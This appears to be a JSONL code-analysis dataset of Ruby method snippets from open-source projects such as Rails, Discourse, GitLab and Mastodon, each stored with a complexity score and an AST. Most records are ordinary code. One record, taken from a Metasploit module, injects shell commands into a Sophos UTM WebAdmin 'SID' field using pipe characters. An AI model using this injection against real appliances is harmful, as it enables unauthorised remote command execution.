\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@handled\"]},\"<<\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"top_parent\"]},\"parent_theme_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parent\"]},\"parent_theme_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parent\"]},\"child_theme_id\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"children\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DB\"]},\"query\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"      SELECT parent_theme_id, child_theme_id\\n\"]},{\"type\":\"str\",\"children\":[\"      FROM child_themes\\n\"]},{\"type\":\"str\",\"children\":[\"      WHERE parent_theme_id = :child\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"child\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parent\"]},\"child_theme_id\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"children\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"child\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@handled\"]},\"exclude?\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"top_parent\"]},\"parent_theme_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"child\"]},\"parent_theme_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"child\"]},\"child_theme_id\"]}]}]},{\"type\":\"send\",\"children\":[null,\"migrate_child\",{\"type\":\"lvar\",\"children\":[\"child\"]},{\"type\":\"lvar\",\"children\":[\"top_parent\"]}]},null]}]}]}]}","id":"54d78bf8-e4ad-473d-99be-7d943092c483"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/components/work_packages/exports/pdf/report/export_settings_component.rb","start_line":40,"raw_source":"def available_long_text_fields\n            [{ id: \"description\", name: WorkPackage.human_attribute_name(\"description\") }.freeze] +\n              WorkPackageCustomField.where(field_format: \"text\").map { |cf| { id: cf.id, name: cf.name } }\n          end","complexity_score":10.0,"ast_json":"{\"type\":\"def\",\"children\":[\"available_long_text_fields\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"str\",\"children\":[\"description\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WorkPackage\"]},\"human_attribute_name\",{\"type\":\"str\",\"children\":[\"description\"]}]}]}]},\"freeze\"]}]},\"+\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WorkPackageCustomField\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"field_format\"]},{\"type\":\"str\",\"children\":[\"text\"]}]}]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cf\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cf\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cf\"]},\"name\"]}]}]}]}]}]}","id":"bc6a8fa7-e020-4de8-9608-c99f80f01e87"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/test/apps/rails7/app/controllers/application_controller.rb","start_line":2,"raw_source":"def anonymouns_arguments(*, **, &)\n    Time.use_zone(*, **, &)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"anonymouns_arguments\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[]},{\"type\":\"kwrestarg\",\"children\":[]},{\"type\":\"blockarg\",\"children\":[null]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"use_zone\",{\"type\":\"forwarded_restarg\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"forwarded_kwrestarg\",\"children\":[]}]},{\"type\":\"block_pass\",\"children\":[null]}]}]}","id":"d90ec4c5-8d6d-4b70-908c-895fda963005"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/autosave_association_test.rb","start_line":226,"raw_source":"def test_build_before_child_saved\n    firm = Firm.find(1)\n\n    account = firm.build_account(\"credit_limit\" => 1000)\n    assert_equal account, firm.account\n    assert_not_predicate account, :persisted?\n    assert firm.save\n    assert_equal account, firm.account\n    assert_predicate account, :persisted?\n  end","complexity_score":13.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_build_before_child_saved\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"firm\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Firm\"]},\"find\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"lvasgn\",\"children\":[\"account\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"firm\"]},\"build_account\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"credit_limit\"]},{\"type\":\"int\",\"children\":[1000]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"account\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"firm\"]},\"account\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_predicate\",{\"type\":\"lvar\",\"children\":[\"account\"]},{\"type\":\"sym\",\"children\":[\"persisted?\"]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"firm\"]},\"save\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"account\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"firm\"]},\"account\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"lvar\",\"children\":[\"account\"]},{\"type\":\"sym\",\"children\":[\"persisted?\"]}]}]}]}","id":"76b6c43e-5868-488f-99f3-f9aa0fb2c701"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/draft.rb","start_line":233,"raw_source":"def self.cleanup!\n    Draft.where(<<~SQL).in_batches(of: 100).destroy_all\n      sequence < (\n        SELECT MAX(s.sequence)\n          FROM draft_sequences s\n          WHERE s.draft_key = drafts.draft_key\n          AND s.user_id = drafts.user_id\n      )\n    SQL\n\n    # remove old drafts\n    delete_drafts_older_than_n_days = SiteSetting.delete_drafts_older_than_n_days.days.ago\n    Draft.where(\"updated_at < ?\", delete_drafts_older_than_n_days).in_batches(of: 100).destroy_all\n\n    UserStat.update_draft_count\n  end","complexity_score":13.5,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"cleanup!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Draft\"]},\"where\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"sequence < (\\n\"]},{\"type\":\"str\",\"children\":[\"  SELECT MAX(s.sequence)\\n\"]},{\"type\":\"str\",\"children\":[\"    FROM draft_sequences s\\n\"]},{\"type\":\"str\",\"children\":[\"    WHERE s.draft_key = drafts.draft_key\\n\"]},{\"type\":\"str\",\"children\":[\"    AND s.user_id = drafts.user_id\\n\"]},{\"type\":\"str\",\"children\":[\")\\n\"]}]}]},\"in_batches\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"of\"]},{\"type\":\"int\",\"children\":[100]}]}]}]},\"destroy_all\"]},{\"type\":\"lvasgn\",\"children\":[\"delete_drafts_older_than_n_days\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"delete_drafts_older_than_n_days\"]},\"days\"]},\"ago\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Draft\"]},\"where\",{\"type\":\"str\",\"children\":[\"updated_at < ?\"]},{\"type\":\"lvar\",\"children\":[\"delete_drafts_older_than_n_days\"]}]},\"in_batches\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"of\"]},{\"type\":\"int\",\"children\":[100]}]}]}]},\"destroy_all\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UserStat\"]},\"update_draft_count\"]}]}]}","id":"635ab9e9-dccb-4254-bf3e-cd234c993627"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/packages_helper.rb","start_line":92,"raw_source":"def group_packages_template_data(group)\n    packages_template_data.merge({\n      can_delete_packages: can_delete_group_packages?(group).to_s,\n      endpoint: group_packages_path(group),\n      full_path: group.full_path,\n      group_list_url: group_packages_path(group),\n      page_type: 'groups',\n      npm_group_url: package_registry_group_url(group.id, :npm),\n\n      settings_path: if show_group_package_registry_settings(group)\n                       group_settings_packages_and_registries_path(group)\n                     else\n                       ''\n                     end\n    })\n  end","complexity_score":14.7,"ast_json":"{\"type\":\"def\",\"children\":[\"group_packages_template_data\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"group\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"packages_template_data\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"can_delete_packages\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"can_delete_group_packages?\",{\"type\":\"lvar\",\"children\":[\"group\"]}]},\"to_s\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"endpoint\"]},{\"type\":\"send\",\"children\":[null,\"group_packages_path\",{\"type\":\"lvar\",\"children\":[\"group\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"full_path\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},\"full_path\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"group_list_url\"]},{\"type\":\"send\",\"children\":[null,\"group_packages_path\",{\"type\":\"lvar\",\"children\":[\"group\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"page_type\"]},{\"type\":\"str\",\"children\":[\"groups\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"npm_group_url\"]},{\"type\":\"send\",\"children\":[null,\"package_registry_group_url\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},\"id\"]},{\"type\":\"sym\",\"children\":[\"npm\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"settings_path\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"show_group_package_registry_settings\",{\"type\":\"lvar\",\"children\":[\"group\"]}]},{\"type\":\"send\",\"children\":[null,\"group_settings_packages_and_registries_path\",{\"type\":\"lvar\",\"children\":[\"group\"]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]}]}]}","id":"3bf1c36d-044f-4f76-be9e-01cc185800d6"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/tooling/danger/stable_branch.rb","start_line":79,"raw_source":"def check!\n        return unless valid_stable_branch?\n\n        validate_template\n        validate_type_labels\n        handle_version_guidance\n        validate_title\n\n        return if skip_pipeline_checks?\n\n        validate_pipeline_requirements\n      end","complexity_score":9.0,"ast_json":"{\"type\":\"def\",\"children\":[\"check!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"valid_stable_branch?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"validate_template\"]},{\"type\":\"send\",\"children\":[null,\"validate_type_labels\"]},{\"type\":\"send\",\"children\":[null,\"handle_version_guidance\"]},{\"type\":\"send\",\"children\":[null,\"validate_title\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"skip_pipeline_checks?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"validate_pipeline_requirements\"]}]}]}","id":"53c67692-9e05-47ec-9ba0-0af427860ac3"}
{"repo_name":"rails","file_path":"./repos/rails/railties/lib/rails/commands/app/update_command.rb","start_line":55,"raw_source":"def app_generator\n            @app_generator ||= begin\n              gen = Rails::Generators::AppGenerator.new([\"rails\"], generator_options, destination_root: Rails.root)\n              gen.send(:valid_const?) unless File.exist?(Rails.root.join(\"config\", \"application.rb\"))\n              gen\n            end\n          end","complexity_score":14.4,"ast_json":"{\"type\":\"def\",\"children\":[\"app_generator\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@app_generator\"]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"gen\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"Generators\"]},\"AppGenerator\"]},\"new\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"rails\"]}]},{\"type\":\"send\",\"children\":[null,\"generator_options\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"destination_root\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"root\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"exist?\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"root\"]},\"join\",{\"type\":\"str\",\"children\":[\"config\"]},{\"type\":\"str\",\"children\":[\"application.rb\"]}]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"gen\"]},\"send\",{\"type\":\"sym\",\"children\":[\"valid_const?\"]}]}]},{\"type\":\"lvar\",\"children\":[\"gen\"]}]}]}]}","id":"8fb710b7-293c-48e8-9bfb-b31b91d97faf"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/sophos_utm_webadmin_sid_cmd_injection.rb","start_line":126,"raw_source":"def inject_cmd(cmd, timeout: 3.5)\n    vprint_status(\"Injecting command: #{cmd}\")\n\n    res = send_request_cgi({\n      'method' => 'POST',\n      'uri' => normalize_uri(target_uri.path, 'var'),\n      'ctype' => 'application/json; charset=UTF-8', # NOTE: charset is required\n      'data' => {\n        'SID' => \"|#{cmd}|\" # https://perldoc.perl.org/functions/open#Opening-a-filehandle-into-a-command\n      }.to_json\n    }, timeout)\n\n    return unless res\n    return false unless res.code == 200 && res.body.include?(alert_msg)\n\n    true\n  end","complexity_score":18.08,"ast_json":"{\"type\":\"def\",\"children\":[\"inject_cmd\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cmd\"]},{\"type\":\"kwoptarg\",\"children\":[\"timeout\",{\"type\":\"float\",\"children\":[3.5]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Injecting command: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cmd\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"var\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ctype\"]},{\"type\":\"str\",\"children\":[\"application/json; charset=UTF-8\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"data\"]},{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SID\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"|\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cmd\"]}]},{\"type\":\"str\",\"children\":[\"|\"]}]}]}]},\"to_json\"]}]}]},{\"type\":\"lvar\",\"children\":[\"timeout\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"include?\",{\"type\":\"send\",\"children\":[null,\"alert_msg\"]}]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"true\",\"children\":[]}]}]}","id":"1ef22144-e5e2-41ab-9f45-9ddf2d302a9b"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/email/styles.rb","start_line":334,"raw_source":"def stripped_secure_image_uploads\n      upload_shas = stripped_upload_sha_map\n      Upload.select(:original_filename, :sha1).where(sha1: upload_shas.values)\n    end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"stripped_secure_image_uploads\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"upload_shas\",{\"type\":\"send\",\"children\":[null,\"stripped_upload_sha_map\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Upload\"]},\"select\",{\"type\":\"sym\",\"children\":[\"original_filename\"]},{\"type\":\"sym\",\"children\":[\"sha1\"]}]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sha1\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"upload_shas\"]},\"values\"]}]}]}]}]}]}","id":"19707664-cb4e-4e0b-ab0b-4b2d140c9d6e"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/api/v1/push/subscriptions_controller.rb","start_line":49,"raw_source":"def web_push_subscription_params\n    {\n      access_token_id: doorkeeper_token.id,\n      data: data_params,\n      endpoint: subscription_params[:endpoint],\n      key_auth: subscription_params[:keys][:auth],\n      key_p256dh: subscription_params[:keys][:p256dh],\n      standard: subscription_params[:standard] || false,\n      user_id: current_user.id,\n    }\n  end","complexity_score":18.2,"ast_json":"{\"type\":\"def\",\"children\":[\"web_push_subscription_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"access_token_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"doorkeeper_token\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"data\"]},{\"type\":\"send\",\"children\":[null,\"data_params\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"endpoint\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"subscription_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"endpoint\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key_auth\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"subscription_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"keys\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"auth\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key_p256dh\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"subscription_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"keys\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"p256dh\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"standard\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"subscription_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"standard\"]}]},{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"id\"]}]}]}]}","id":"49de12c1-ab77-4ee2-9ea9-3b4b7bf38ac2"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/migration/command_recorder_test.rb","start_line":221,"raw_source":"def test_invert_add_column\n        remove = @recorder.inverse_of :add_column, [:table, :column, :type, {}]\n        assert_equal [:remove_column, [:table, :column, :type, {}], nil], remove\n      end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_invert_add_column\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"remove\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@recorder\"]},\"inverse_of\",{\"type\":\"sym\",\"children\":[\"add_column\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"table\"]},{\"type\":\"sym\",\"children\":[\"column\"]},{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"hash\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"remove_column\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"table\"]},{\"type\":\"sym\",\"children\":[\"column\"]},{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"remove\"]}]}]}]}","id":"c08dc1fd-3597-4b0b-b6ec-dd2a496ba3a8"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations/callbacks_test.rb","start_line":37,"raw_source":"def test_removing_with_macro_callbacks\n    first_post, second_post = @david.posts_with_callbacks[0, 2]\n    @david.posts_with_callbacks.delete(first_post)\n    assert_equal [\"before_removing#{first_post.id}\", \"after_removing#{first_post.id}\"], @david.post_log\n    @david.posts_with_callbacks.delete(second_post)\n    assert_equal [\"before_removing#{first_post.id}\", \"after_removing#{first_post.id}\", \"before_removing#{second_post.id}\",\n                  \"after_removing#{second_post.id}\"], @david.post_log\n  end","complexity_score":21.5,"ast_json":"{\"type\":\"def\",\"children\":[\"test_removing_with_macro_callbacks\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"first_post\"]},{\"type\":\"lvasgn\",\"children\":[\"second_post\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@david\"]},\"posts_with_callbacks\"]},\"[]\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@david\"]},\"posts_with_callbacks\"]},\"delete\",{\"type\":\"lvar\",\"children\":[\"first_post\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"before_removing\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"first_post\"]},\"id\"]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"after_removing\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"first_post\"]},\"id\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@david\"]},\"post_log\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@david\"]},\"posts_with_callbacks\"]},\"delete\",{\"type\":\"lvar\",\"children\":[\"second_post\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"before_removing\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"first_post\"]},\"id\"]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"after_removing\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"first_post\"]},\"id\"]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"before_removing\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"second_post\"]},\"id\"]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"after_removing\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"second_post\"]},\"id\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@david\"]},\"post_log\"]}]}]}]}","id":"52efe4b2-b161-4eb7-a907-d0450cd10a3b"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/match/lib/match/migrate.rb","start_line":98,"raw_source":"def api_token(params)\n      api_token = Spaceship::ConnectAPI::Token.from(hash: params[:api_key], filepath: params[:api_key_path])\n      return api_token\n    end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"api_token\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"params\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"api_token\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spaceship\"]},\"ConnectAPI\"]},\"Token\"]},\"from\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"hash\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"api_key\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"filepath\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"api_key_path\"]}]}]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"api_token\"]}]}]}]}","id":"6cc1f5e8-3569-4eba-81fb-a21583070eea"}
